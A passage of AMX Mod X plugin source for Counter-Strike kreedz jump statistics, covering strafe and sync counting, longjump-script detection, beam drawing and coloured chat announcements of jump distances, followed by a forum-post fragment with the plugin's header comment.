		|| buttonsNew&IN_MOVELEFT
		|| buttonsNew&IN_FORWARD
		|| buttonsNew&IN_BACK )
		{
			if(strafes[id] < NSTRAFES)
			{
				if( fSpeed > gSpeed)
					strafe_stat_sync[id][strafes[id]][0] += INFO_ONE;
				else
					strafe_stat_sync[id][strafes[id]][1] += INFO_ONE;

				//client_print(id, print_console,"OldSpeed[id] %f gSpeed %f", OldSpeed[id], gSpeed);
			}
			//else
			//{//TODO: ! if player made more than NSTRAFES}
		}
		
		//OldSpeed[id] = fSpeed;
		
		if( buttonsNew&IN_RIGHT
		|| buttonsNew&IN_LEFT )
		{
			if( flags&FL_ONGROUND )
			{
				possible_lj_script[id][1] = false;
				
				if( fSpeed > 250 ) //change ro weap speed, if we need it
				{
					if( task_exists(id+534490) )
						remove_task(id+534490);
					
					possible_lj_script[id][0] = true;
				}
			}
			else if( gInAir[id] || isBhop[id] )
				possible_lj_script[id][1] = true;
		}
		else if( flags&FL_ONGROUND )
		{
			possible_lj_script[id][1] = false;
			
			if( !task_exists(id+534490) && possible_lj_script[id][0] )
				set_task(1.5, "isnt_prestrafe_cheating", id+534490);
		}

		if( buttons&IN_MOVERIGHT && (buttons&IN_MOVELEFT || buttons&IN_FORWARD || buttons&IN_BACK) )
			strafecounter_oldbuttons[id] = INFO_ZERO;
		else if( buttons&IN_MOVELEFT && (buttons&IN_FORWARD || buttons&IN_BACK || buttons&IN_MOVERIGHT) )
			strafecounter_oldbuttons[id] = INFO_ZERO;
		else if( buttons&IN_FORWARD && (buttons&IN_BACK || buttons&IN_MOVERIGHT || buttons&IN_MOVELEFT) )
			strafecounter_oldbuttons[id] = INFO_ZERO;
		else if( buttons&IN_BACK && (buttons&IN_MOVERIGHT || buttons&IN_MOVELEFT || buttons&IN_FORWARD) )
			strafecounter_oldbuttons[id] = INFO_ZERO;
		else if( turning_left[id] || turning_right[id] )
			strafecounter_oldbuttons[id] = buttons;
	}
}

public isnt_prestrafe_cheating(id)
	possible_lj_script[id-534490][0] = false;

public fwdTouch(ent, id)
{ 
	static ClassName[32];
	if( pev_valid(ent) )
	{
		pev(ent, pev_classname, ClassName, 31);
	}
	static ClassName2[32];
	if( pev_valid(id) )
	{
		pev(id, pev_classname, ClassName2, 31);
	}
	if( equal(ClassName2, "player") )
	{
		//IF we need protection from func_door and func_door_rotating uncomment lines
		//if( pev(id, pev_groundentity) == ent && (gInAir[id] || !OnGround[id] || testBhop[id]) ) //TODO remove BUG from here
		//{
		//	if( pev(id, pev_flags)&FL_ONGROUND && get_gametime() > (jumptime[id]+0.1))
		//	{
		//		fwdPlayerPreThink(id);
		//	}
		//}

	//	static Float:ori[3];
//		static Float:velo[3];
		
//		pev(id, pev_origin, ori);
	//	pev(id, pev_velocity, velo);

	//	if (weapSpeed[id] == 260)
	//		client_print(id, print_console,"Tou %f	%f	%f	%f	%f	%f", ori[0],ori[1],ori[2],velo[0],velo[1],velo[2]);

		//BUG?? plr can touch smth illegal on last frame... 
		//There is No bug, because: PreThink - Engine - Touch - PostThink, but if u uncomment upper lines we will get that bug
		if( equal(ClassName, "func_train")
			|| equal(ClassName, "func_conveyor") 
			|| equal(ClassName, "trigger_push") || equal(ClassName, "trigger_gravity"))
		{
			gocheck(id);
			set_task(0.4,"gocheck", id);
			gocheckbhop(id);
			set_task(0.4,"gocheckbhop", id);
		}
		//IF we need protection from func_door and func_door_rotating uncomment lines
		//else if(equal(ClassName, "func_door") || equal(ClassName, "func_door_rotating") )
		//{
		//	gocheck(id);
		//	set_task(0.4,"gocheck", id);			
		//}
	}	
}

stock get_spectated_player(spectator)
{
	if( !pev_valid(spectator) )
		return 0;
	if( !is_user_connected(spectator) )
		return 0;
	if( is_user_alive(spectator) )
		return 0;
	if( pev(spectator, pev_deadflag) != 2 )
		return 0;
	
	static player, specmode;
	specmode = pev(spectator, pev_iuser1);
	if( !(specmode == 1 || specmode == 2 || specmode == 4) )
		return 0;
	
	player = pev(spectator, pev_iuser2);
	
	if( !pev_valid(player) )
		return 0;
	if( !is_user_connected(player) )
		return 0;
	if( !is_user_alive(player) )
		return 0;
	
	return player;
}

stock is_user_spectating_player(spectator, player)
{
	if( !pev_valid(spectator) || !pev_valid(player) )
		return 0;
	if( !is_user_connected(spectator) || !is_user_connected(player) )
		return 0;
	if( is_user_alive(spectator) || !is_user_alive(player) )
		return 0;
	if( pev(spectator, pev_deadflag) != 2 )
		return 0;
	
	static specmode;
	specmode = pev(spectator, pev_iuser1);
	if( !(specmode == 1 || specmode == 2 || specmode == 4) )
		return 0;
	
	if( pev(spectator, pev_iuser2) == player )
		return 1;
	
	return 0;
}

stock is_in_duck(player)
{
	// supplied with invalid entities
	if( !pev_valid(player)  )
		return 0;
	
	// retrieve absolutes
	static Float:absmin[3], Float:absmax[3];
	
	pev(player, pev_absmin, absmin);
	pev(player, pev_absmax, absmax);
	
	absmin[2]+=64.0;
	
	if( absmin[2] < absmax[2] )
		return 0;
	
	return 1;
}
/*stock bool:fm_get_user_longjump(index) 
{
	new value[2];
	engfunc(EngFunc_GetPhysicsKeyValue, index, "slj", value, 1);
	switch (value[0]) 
	{
		case '1': return true;
	}

	return false;
}*/
stock Float:fm_distance_to_floor2(index,const Float:start[3], ignoremonsters = 1) 
{
	// nerekomendyy ispolzovat tk probivaet raznie i neskolko textyr za raz v opredelennih sly4aiah 
	//(dont use it if u dont know how it works)
	
	new Float:dest[3], Float:end[3];
	dest[0] = start[0];
	dest[1] = start[1];
	dest[2] = -8191.0;

	engfunc(EngFunc_TraceLine, start, dest, ignoremonsters, index);
	global_get(glb_trace_endpos, end);
	if (end[2] == -8191.0)
		return 0.0;
	
	new Float:ret = start[2] - end[2];
	return ret > 0 ? ret : 0.0;
}

stock bool:HJdetect(index,const Float:vOrigin[3])
{
	//TODO better HJ detect...  not buged like this
	static Float:vStop[3], Float:vStart[3];
	
	static Float:vVel[3];
	static Float:speed;
	static Float:fraction;
	
	pev(index, pev_velocity, vVel);
	speed = vector_length(vVel);
	
	if( speed < 0.1 )
	{
		return false;
	}
	
	vStart[0] = vStop[0] = vOrigin[0] + vVel[0]/speed*16.03125;
	vStart[1] = vStop[1] = vOrigin[1] + vVel[1]/speed*16.03125;
	vStart[2] = vOrigin[2];// + vMins[2]; // get origin of player's feet
	vStop[2] = vStart[2] - 69.0; // Changed from 34 to 70 for CS? Or am i doing something wrong..?

	if( engfunc(EngFunc_PointContents, vStart) == CONTENTS_SOLID ) // make sure start origin isn't in void space, this happens on hills. not sure if it really applies edgefriction here
	{
		return false;
	}

	engfunc(EngFunc_TraceLine, vStart, vStop, 1, index); // trace a line from player feet to 70 units below that
	//beam(index, vStart, vStop);
	global_get(glb_trace_fraction, fraction);
	if( fraction == 1.0 ) 
		return true;
	return false;
}

stock DrawBeam(id, _ljs_beam, type)
{
	//predvaritelno nado podgotovit vJumpedAt2 vTraceEnd vBeamPos vOrigin gBeam vBeamTime dl9 type == 1 = lj = bj 
	// CJ - type ==2 
	static i;

	if( _ljs_beam == 1)
	{
		message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
		write_byte (0);
		write_coord(floatround(vJumpedAt2[0]));
		write_coord(floatround(vJumpedAt2[1]));
		write_coord(floatround(vJumpedAt2[2]));
		write_coord(floatround(vTraceEnd[0]));
		write_coord(floatround(vTraceEnd[1]));
		write_coord(floatround(vTraceEnd[2]));
		write_short(gBeam);
		write_byte(1);
		write_byte(5);
		write_byte(30);
		write_byte(20);
		write_byte(0);
		write_byte(random_num(32, 255));
		write_byte(random_num(32, 255));
		write_byte(random_num(32, 255));
		write_byte(200);
		write_byte(200);
		message_end();
	}
	else if( _ljs_beam == 2)
	{
		set_task(0.4, "gocheck", id);
		set_task(0.8, "gocheck", id);
		set_task(1.2, "gocheck", id);
		for( i = INFO_ZERO; i < 127; i++ )
		{
			if( i == 0 )
			{
				message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
				write_byte (0);
				if (type == 1)
				{
					write_coord(floatround(vJumpedAt2[0]));
					write_coord(floatround(vJumpedAt2[1]));
				}
				else if (type == 2)
				{
					write_coord(floatround(vDuckedAt[id][0]));
					write_coord(floatround(vDuckedAt[id][1]));
				}
				write_coord(floatround(vTraceEnd[2]));
				write_coord(floatround(vBeamPos[id][0][0]));
				write_coord(floatround(vBeamPos[id][0][1]));
				write_coord(floatround(vTraceEnd[2]));
				write_short(gBeam);
				write_byte(1);
				write_byte(5);
				write_byte(15);
				write_byte(20);
				write_byte(0);
				if (type == 1)
					write_byte(255);
				else if (type == 2)
					write_byte(0);
				write_byte(255);
				write_byte(0);
				write_byte(200);
				write_byte(200);
				message_end();
									
				message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
				write_byte (0);
				write_coord(floatround(vBeamPos[id][0][0]));
				write_coord(floatround(vBeamPos[id][0][1]));
				write_coord(floatround(vTraceEnd[2]));
				write_coord(floatround(vBeamPos[id][1][0]));
				write_coord(floatround(vBeamPos[id][1][1]));
				write_coord(floatround(vTraceEnd[2]));
				write_short(gBeam);
				write_byte(1);
				write_byte(5);
				write_byte(15);
				write_byte(20);
				write_byte(0);
				if (type == 1)
					write_byte(255);
				else if (type == 2)
					write_byte(0);
				write_byte(255);
				write_byte(0);
				write_byte(200);
				write_byte(200);
				message_end();
			}
			else if( i == 126 || (vBeamPos[id][i+1][0] == 0
			&& vBeamPos[id][i+1][1] == 0
			&& vBeamPos[id][i+1][2] == 0) )
			{
				message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
				write_byte (0);
				write_coord(floatround(vBeamPos[id][i][0]));
				write_coord(floatround(vBeamPos[id][i][1]));
				write_coord(floatround(vTraceEnd[2]));
				write_coord(floatround(vOrigin[0]));
				write_coord(floatround(vOrigin[1]));
				write_coord(floatround(vTraceEnd[2]));
				write_short(gBeam);
				write_byte(1);
				write_byte(5);
				write_byte(floatround(vBeamTime[id][i]));
				write_byte(20);
				write_byte(0);
				if( vBeamPosStatus[id][i] == 1 )
				{
					write_byte(255);
					write_byte(0);
					write_byte(0);
				}
				else
				{
					write_byte(255);
					write_byte(255);
					write_byte(0);
				}
				write_byte(200);
				write_byte(200);
				message_end();
				
				message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
				write_byte (0);
				write_coord(floatround(vOrigin[0]));
				write_coord(floatround(vOrigin[1]));
				write_coord(floatround(vTraceEnd[2]));
				write_coord(floatround(vTraceEnd[0]));
				write_coord(floatround(vTraceEnd[1]));
				write_coord(floatround(vTraceEnd[2]));
				write_short(gBeam);
				write_byte(1);
				write_byte(5);
				write_byte(floatround(vBeamTime[id][i]));
				write_byte(20);
				write_byte(0);
				if( vBeamPosStatus[id][i] == 1 )
				{
					write_byte(255);
					write_byte(0);
					write_byte(0);
				}
				else
				{
					write_byte(255);
					write_byte(255);
					write_byte(0);
				}
				write_byte(200);
				write_byte(200);
				message_end();
				break;
			}
			else
			{
				message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
				write_byte (0);
				write_coord(floatround(vBeamPos[id][i][0]));
				write_coord(floatround(vBeamPos[id][i][1]));
				write_coord(floatround(vTraceEnd[2]));
				write_coord(floatround(vBeamPos[id][i+1][0]));
				write_coord(floatround(vBeamPos[id][i+1][1]));
				write_coord(floatround(vTraceEnd[2]));
				write_short(gBeam);
				write_byte(1);
				write_byte(5);
				write_byte(floatround(vBeamTime[id][i]));
				write_byte(20);
				write_byte(0);
				if( vBeamPosStatus[id][i] == 1)
				{
					write_byte(255);
					write_byte(0);
					write_byte(0);
				}
				else if( vBeamPosStatus[id][i] == -1 && type == 2)
				{
					write_byte(0);
					write_byte(255);
					write_byte(0);
				}
				else
				{	
					write_byte(255);
					write_byte(255);
					write_byte(0);
				}
				write_byte(200);
				write_byte(200);
				message_end();
			}
		}
	}
	return i;	
}

stock DrawSpecBeam(i)
{
	message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, i);
	write_byte (0);
	write_coord(floatround(vJumpedAt2[0]));
	write_coord(floatround(vJumpedAt2[1]));
	write_coord(floatround(vJumpedAt2[2]));
	write_coord(floatround(vTraceEnd[0]));
	write_coord(floatround(vTraceEnd[1]));
	write_coord(floatround(vTraceEnd[2]));
	write_short(gBeam);
	write_byte(1);
	write_byte(5);
	write_byte(30);
	write_byte(20);
	write_byte(0);
	write_byte(random_num(32, 255));
	write_byte(random_num(32, 255));
	write_byte(random_num(32, 255));
	write_byte(200);
	write_byte(200);
	message_end();
}

stock PrintChatMess(id, color, _DistType, _JumpType)
{
	static name[33], i;
	get_user_name(id, name, 31);

		//TODO za4em takie yslovi9 ???? //why we need such if //pohorowemy (i == id || is_user_spectating_player(i, id)) nenado
		// pohorowemy voobshe bgo a ne yslovi9

	if( _JumpType == TYPE_LJ )
	{
		for( i = INFO_ONE; i < 33; i++ )
		{	
			if( i == id || is_user_spectating_player(i, id) || (pev_valid(i) && is_user_connected(i) && gHasColorChat[i]) )
			{
				if( color < 6 && color > 0 )
				{
					switch(color)
					{
						case 1: ColorChat(i, RED, "[XJ] %s jumped %.3f units with lj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 2: ColorChat(i, GREEN, "[XJ] %s jumped %.3f units with lj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 3: ColorChat(i, RED, "[XJ] %s jumped %.3f units with lj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 4: ColorChat(i, GREY, "[XJ] %s jumped %.3f units with lj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 5: ColorChat(i, TEAM_COLOR, "[XJ] %s jumped %.3f units with lj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
					}
				}
				else
					client_print(i, print_chat, "[XJ] %s jumped %.3f units with lj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);

				if( get_pcvar_num(kz_lj_sounds) == 1 )
				{
					if (_DistType == DIST_PRO)
					{
						if( (i == id || is_user_spectating_player(i, id)))
							client_cmd(i, "speak misc/perfect");
					}
					else if (_DistType == DIST_LEET)
					{
						if( i == id || is_user_spectating_player(i, id) )
							client_cmd(i, "speak misc/mod_wickedsick");
					}
					else if (_DistType == DIST_GOOD)
					{
						if( i == id || is_user_spectating_player(i, id) )
							client_cmd(i, "speak misc/impressive");
					}
					else if (_DistType == DIST_GOD)
					{
							client_cmd(i, "speak misc/mod_godlike");
					}
				}
			}
		}
	}
	else if ( _JumpType == TYPE_CJ )
	{
		for( i = INFO_ONE; i < 33; i++ )
		{	
			if( i == id || is_user_spectating_player(i, id) || (pev_valid(i) && is_user_connected(i) && gHasColorChat[i]) )
			{
				if( color < 6 && color > 0 )
				{
					switch(color)
					{
						case 1: ColorChat(i, RED, "[XJ] %s jumped %.3f units with cj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 2: ColorChat(i, GREEN, "[XJ] %s jumped %.3f units with cj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 3: ColorChat(i, RED, "[XJ] %s jumped %.3f units with cj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 4: ColorChat(i, GREY, "[XJ] %s jumped %.3f units with cj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 5: ColorChat(i, TEAM_COLOR, "[XJ] %s jumped %.3f units with cj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
					}
				}
				else
					client_print(i, print_chat, "[XJ] %s jumped %.3f units with cj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);

				if( get_pcvar_num(kz_lj_sounds) == 1 )
				{
					if (_DistType == DIST_PRO)
					{
						if( (i == id || is_user_spectating_player(i, id)))
							client_cmd(i, "speak misc/perfect");
					}
					else if (_DistType == DIST_LEET)
					{
						if( i == id || is_user_spectating_player(i, id) )
							client_cmd(i, "speak misc/mod_wickedsick");
					}
					else if (_DistType == DIST_GOOD)
					{
						if( i == id || is_user_spectating_player(i, id) )
							client_cmd(i, "speak misc/impressive");
					}
					else if (_DistType == DIST_GOD)
					{
							client_cmd(i, "speak misc/mod_godlike");
					}
				}
			}
		}
	}
	else if ( _JumpType == TYPE_WJ )
	{
		for( i = INFO_ONE; i < 33; i++ )
		{	
			if( i == id || is_user_spectating_player(i, id) || (pev_valid(i) && is_user_connected(i) && gHasColorChat[i]) )
			{
				if( color < 6 && color > 0 )
				{
					switch(color)
					{
						case 1: ColorChat(i, BLUE, "[XJ] %s jumped %.3f units with wj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 2: ColorChat(i, GREEN, "[XJ] %s jumped %.3f units with wj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 3: ColorChat(i, RED, "[XJ] %s jumped %.3f units with wj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 4: ColorChat(i, GREY, "[XJ] %s jumped %.3f units with wj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 5: ColorChat(i, TEAM_COLOR, "[XJ] %s jumped %.3f units with wj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
					}
				}
				else
					client_print(i, print_chat, "[XJ] %s jumped %.3f units with wj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);

				if( get_pcvar_num(kz_lj_sounds) == 1 )
				{
					if (_DistType == DIST_PRO)
					{
						if( (i == id || is_user_spectating_player(i, id)))
							client_cmd(i, "speak misc/perfect");
					}
					else if (_DistType == DIST_LEET)
					{
						if( i == id || is_user_spectating_player(i, id) )
							client_cmd(i, "speak misc/mod_wickedsick");
					}
					else if (_DistType == DIST_GOOD)
					{
						if( i == id || is_user_spectating_player(i, id) )
							client_cmd(i, "speak misc/impressive");
					}
					else if (_DistType == DIST_GOD)
					{
							client_cmd(i, "speak misc/mod_godlike");
					}
				}
			}
		}
	}
	else if ( _JumpType == TYPE_BJ )
	{
		for( i = INFO_ONE; i < 33; i++ )
		{	
			if( i == id || is_user_spectating_player(i, id) || (pev_valid(i) && is_user_connected(i) && gHasColorChat[i]) )
			{
				if( color < 6 && color > 0 )
				{
					switch(color)
					{
						case 1: ColorChat(i, BLUE, "[XJ] %s jumped %.3f units with bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 2: ColorChat(i, GREEN, "[XJ] %s jumped %.3f units with bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 3: ColorChat(i, RED, "[XJ] %s jumped %.3f units with bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 4: ColorChat(i, GREY, "[XJ] %s jumped %.3f units with bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 5: ColorChat(i, TEAM_COLOR, "[XJ] %s jumped %.3f units with bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
					}
				}
				else
					client_print(i, print_chat, "[XJ] %s jumped %.3f units with bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);

				if( get_pcvar_num(kz_lj_sounds) == 1 )
				{
					if (_DistType == DIST_PRO)
					{
						if( (i == id || is_user_spectating_player(i, id)))
							client_cmd(i, "speak misc/perfect");
					}
					else if (_DistType == DIST_LEET)
					{
						if( i == id || is_user_spectating_player(i, id) )
							client_cmd(i, "speak misc/mod_wickedsick");
					}
					else if (_DistType == DIST_GOOD)
					{
						if( i == id || is_user_spectating_player(i, id) )
							client_cmd(i, "speak misc/impressive");
					}
					else if (_DistType == DIST_GOD)
					{
							client_cmd(i, "speak misc/mod_godlike");
					}
				}
			}
		}
	}
	else if ( _JumpType == TYPE_SBJ )
	{
		for( i = INFO_ONE; i < 33; i++ )
		{	
			if( i == id || is_user_spectating_player(i, id) || (pev_valid(i) && is_user_connected(i) && gHasColorChat[i]) )
			{
				if( color < 6 && color > 0 )
				{
					switch(color)
					{
						case 1: ColorChat(i, BLUE, "[XJ] %s jumped %.3f units with stand-up bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 2: ColorChat(i, GREEN, "[XJ] %s jumped %.3f units with stand-up bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 3: ColorChat(i, RED, "[XJ] %s jumped %.3f units with stand-up bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 4: ColorChat(i, GREY, "[XJ] %s jumped %.3f units with stand-up bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
						case 5: ColorChat(i, TEAM_COLOR, "[XJ] %s jumped %.3f units with stand-up bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
					}
				}
				else
					client_print(i, print_chat, "[XJ] %s jumped %.3f units with stand-up bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);

				if( get_pcvar_num(kz_lj_sounds) == 1 )
				{
					if (_DistType == DIST_PRO)
					{
						if( (i == id || is_user_spectating_player(i, id)))
							client_cmd(i, "speak misc/perfect");
					}
					else if (_DistType == DIST_LEET)
					{
						if( i == id || is_user_spectating_player(i, id) )
							client_cmd(i, "speak misc/mod_wickedsick");
					}
					else if (_DistType == DIST_GOOD)
					{
						if( i == id || is_user_spectating_player(i, id) )
							client_cmd(i, "speak misc/impressive");
					}
					else if (_DistType == DIST_GOD)
					{
							client_cmd(i, "speak misc/mod_godlike");
					}
				}
			}
		}
	}
}

stock func69(id, type)
{
	if( type == TYPE_BJ)
	{
		isBhop[id] = false;
	}
	else
	{
		set_task(0.5,"gocheck", id); //why we need it ?
		gInAir[id] = false;
	}

	//static Float:BlockDist;
	//BlockDist = 0.0;

	if (fallDown[id] == true)
	{
		vOrigin[0]= vLastFrameOrigin[id][0];
		vOrigin[1]= vLastFrameOrigin[id][1];
		vOrigin[2]= vLastFrameOrigin[id][2];
	}
	else
	{
		pev(id, pev_origin, vOrigin);
	}

	//client_print(id, print_console, "vOrigin %f %f %f Speed %f %f %f",vOrigin[0],vOrigin[1],vOrigin[2],vFrameSpeed[id][1][0],vFrameSpeed[id][1][1],vFrameSpeed[id][1][2]);

	fDistance1 = get_distance_f(vJumpedAt[id], vOrigin)+32.0;
	//client_print(id, print_console, "fDistance1 %f vor %f %f %f", fDistance1, vOrigin[0],vOrigin[1],vOrigin[2]);
	//client_print(id, print_console, "fDistance1 %f", fDistance1);

	rLandPos[2] = vFrameSpeed[id][0][2] * vFrameSpeed[id][0][2] + (2 * get_pcvar_float(sv_gravity) * (vFramePos[id][0][2] - vOrigin[2]));
	//client_print(id, print_console, "111 %f %f %f",vFrameSpeed[id][0][2],vFramePos[id][0][2],vOrigin[2]);
	rDistance[0] = (floatsqroot(rLandPos[2]) * -1) - vFrameSpeed[id][1][2];

	//client_print(id, print_console, "RaZ diff %f  notSqrtZvel %f",(vFramePos[id][0][2] - vOrigin[2]),rLandPos[2]);
	rDistance[1] = get_pcvar_float(sv_gravity)*-1;
	//client_print(id, print_console, "rLandPos[2] %f ^n", rLandPos[2]);
				
	frame2time = floatdiv(rDistance[0], rDistance[1]);
	client_print(id, print_console, "frame2time	%f %f",frame2time, fDistance1);
	if( vFrameSpeed[id][1][0] < 0 )
		vFrameSpeed[id][1][0] = vFrameSpeed[id][1][0]*-1;
	rDistance[0] = frame2time*vFrameSpeed[id][1][0];
			
	if( vFrameSpeed[id][1][1] < 0 )
		vFrameSpeed[id][1][1] = vFrameSpeed[id][1][1]*-1;
	rDistance[1] = frame2time*vFrameSpeed[id][1][1];

	if( vFrameSpeed[id][1][2] < 0 )
		vFrameSpeed[id][1][2] = vFrameSpeed[id][1][2]*-1;
	rDistance[2] = frame2time*vFrameSpeed[id][1][2];

	//client_print(id, print_console, "frame2time %f rD0 %f rD1 %f %f",frame2time,rDistance[0],rDistance[1],rDistance[2]);

	//client_print(id, print_console, "vFramePos[id][1][0] %f %f vFramePos[id][1][1] %f %f", vFramePos[id][1][0],vOrigin[0], vFramePos[id][1][1],vOrigin[1]);
	if( vFramePos[id][1][0] < vOrigin[0] )
		rLandPos[0] = vFramePos[id][1][0] + rDistance[0];
	else
		rLandPos[0] = vFramePos[id][1][0] - rDistance[0];
	if( vFramePos[id][1][1] < vOrigin[1] )
		rLandPos[1] = vFramePos[id][1][1] + rDistance[1];
	else
		rLandPos[1] = vFramePos[id][1][1] - rDistance[1];

	if( is_in_duck(id) )
		vOrigin[2]+=18.0;

	rLandPos[2] = vOrigin[2];

	//client_print(id, print_console, "rLandPos %f %f %f", rLandPos[0],rLandPos[1],rLandPos[2]);

	frame2time += (lasttime[id]-jumptime[id]);

	//client_print(id, print_console, "vJumpedAt[id][2] %f rLandPos[2] %f vFramePos[id][0][2] %f vOrigin[2]modif %f",vJumpedAt[id][2],rLandPos[2],vFramePos[id][0][2], vOrigin[2]);

	//client_print(id, print_console, "vFrameSpeed[id][0][2] %f", vFrameSpeed[id][0][2]);

	if( vOrigin[2] == vJumpedAt[id][2] )
	{
		if ( type == TYPE_BJ )
		{
			if(!(frame2time > 0.48 && frame2time < 0.7) && pev(id, pev_fuser2) > 0.0) //why we use pev_fuser2) > 0.0 here ???
			{
				vOrigin[2] = vOrigin[2]*-1;
			}
		}
		else
		{
			if( is_in_duck(id) && !(frame2time > 0.71 && frame2time < 0.77) )
			{
				vOrigin[2] = vOrigin[2]*-1;
			}
			else if( !(is_in_duck(id)) && !(frame2time > 0.65 && frame2time < 0.70) )
			{
				vOrigin[2] = vOrigin[2]*-1;
			}
		}
	}
	fDistance2 = get_distance_f(vJumpedAt[id], rLandPos)+32.00;

	//client_print(id, print_console, "fDistance2 %f vFrameSpeed[id][0][2] %f vFrameSpeed[id][1][2] %f", fDistance2, vFrameSpeed[id][0][2],vFrameSpeed[id][1][2]);
				
		//if( (fDistance1+0.25 > fDistance2) && type == TYPE_BJ ) //TODO good calculation
	if( fDistance1 > fDistance2 )
	{
		fDistance = fDistance2;
		vOrigin[0] = rLandPos[0];
		vOrigin[1] = rLandPos[1];
	}
	else
		fDistance = fDistance1;

	vJumpedAt2[2] = vJumpedAt[id][2]-34.0;
	vTraceEnd[2] = vOrigin[2]-34.0;
				
	vJumpedAt2[0] = vJumpedAt[id][0];
	vTraceEnd[0] = vOrigin[0];

	vJumpedAt2[1] = vJumpedAt[id][1]-vJumpedAt[id][1];
	vTraceEnd[1] = vOrigin[1]-vOrigin[1];

	xDistance = get_distance_f(vJumpedAt2, vTraceEnd);

	vJumpedAt2[0] = vJumpedAt[id][0]-vJumpedAt[id][0];
	vTraceEnd[0] = vOrigin[0]-vOrigin[0];

	vJumpedAt2[1] = vJumpedAt[id][1];
	vTraceEnd[1] = vOrigin[1];

	yDistance = get_distance_f(vJumpedAt2, vTraceEnd);

	if( vJumpedAt[id][0] > vOrigin[0] )
	{
		vJumpedAt2[0] = vJumpedAt[id][0]+(xDistance*16.03125/fDistance);
		vTraceEnd[0] = vOrigin[0]-(xDistance*16.03125/fDistance);
	}
	else if( vJumpedAt[id][0] < vOrigin[0] )
	{
		vJumpedAt2[0] = vJumpedAt[id][0]-(xDistance*16.03125/fDistance);
		vTraceEnd[0] = vOrigin[0]+(xDistance*16.03125/fDistance);
	}
	else
	{
		vJumpedAt2[0] = vJumpedAt[id][0];
		vTraceEnd[0] = vOrigin[0];
	}

	if( vJumpedAt[id][1] > vOrigin[1] )
	{
		vJumpedAt2[1] = vJumpedAt[id][1]+(yDistance*16.03125/fDistance);
		vTraceEnd[1] = vOrigin[1]-(yDistance*16.03125/fDistance);
	}
	else if( vJumpedAt[id][1] < vOrigin[1] )
	{
		vJumpedAt2[1] = vJumpedAt[id][1]-(yDistance*16.03125/fDistance);
		vTraceEnd[1] = vOrigin[1]+(yDistance*16.03125/fDistance);
	}
	else
	{
		vJumpedAt2[1] = vJumpedAt[id][1];
		vTraceEnd[1] = vOrigin[1];
	}
}	


stock func77(id, type)	
{	
	static ent2; 
	new Float:orig[3];
	static classname3[33];
	pev(id, pev_origin, orig);
	if (is_in_duck(id))
	{
		while((ent2 = engfunc(EngFunc_FindEntityInSphere, 33, orig, 19.0)) != 0) 
		{ 
			pev(ent2, pev_classname, classname3, 32); 
			if( equal(classname3, "func_train")
				|| equal(classname3, "func_conveyor") 
				|| equal(classname3, "trigger_push") 
				|| equal(classname3, "trigger_gravity")
				|| equal(classname3, "func_door")
				|| equal(classname3, "func_door_rotating") )
			{
				return 1;
			}
		}
	}
	else 
	{
		while((ent2 = engfunc(EngFunc_FindEntityInSphere, 33, orig, 37.0)) != 0) 
		{ 
			pev(ent2, pev_classname, classname3, 32); 
			if( equal(classname3, "func_train")
				|| equal(classname3, "func_conveyor") 
				|| equal(classname3, "trigger_push") 
				|| equal(classname3, "trigger_gravity")
				|| equal(classname3, "func_door")
				|| equal(classname3, "func_door_rotating") )
			{
				return 1;
			}
		}
	}
	return 0;
}

plg de bază

Code: Select all

/*
	stats by kzuq^BorJomi 
	version 2.42
	
	Big thanks developers of kz_ljs_xm and Exolent
	
	Visit  http://unique-kz.com/
	
		2011 year
*/

#include <amxmodx>
#include <amxmisc>
#include <fakemeta>
#include <engine>
